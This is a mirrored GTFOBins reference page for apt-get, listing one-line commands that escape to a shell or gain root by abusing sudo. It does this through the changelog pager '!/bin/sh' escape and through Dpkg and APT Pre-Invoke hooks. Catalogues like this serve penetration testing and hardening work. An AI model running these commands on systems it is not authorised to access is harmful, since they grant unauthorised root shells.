GTFOBins.github.io/apt-get.md at 02909240b59685a36d05710352452bda36bfd5d1

public-mirrors/GTFOBins.github.io

mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-27 07:18:48 +01:00

Andrea Cardaci 21f760676c Add alternative apt* shell technique

Thanks to
https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/

Also related to #38.

2019-01-21 16:28:20 +01:00

790 B

Raw Blame History

functions

shell

sudo

description	code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.	apt-get changelog apt !/bin/sh

description	code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.	sudo apt-get changelog apt !/bin/sh

description	code
For this to work the target package (e.g., `sl`) must not be installed.	TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt-get install -c $TF sl

description	code
When the shell exits the `update` command is actually executed.	sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

790 B Raw Blame History

790 B

Raw Blame History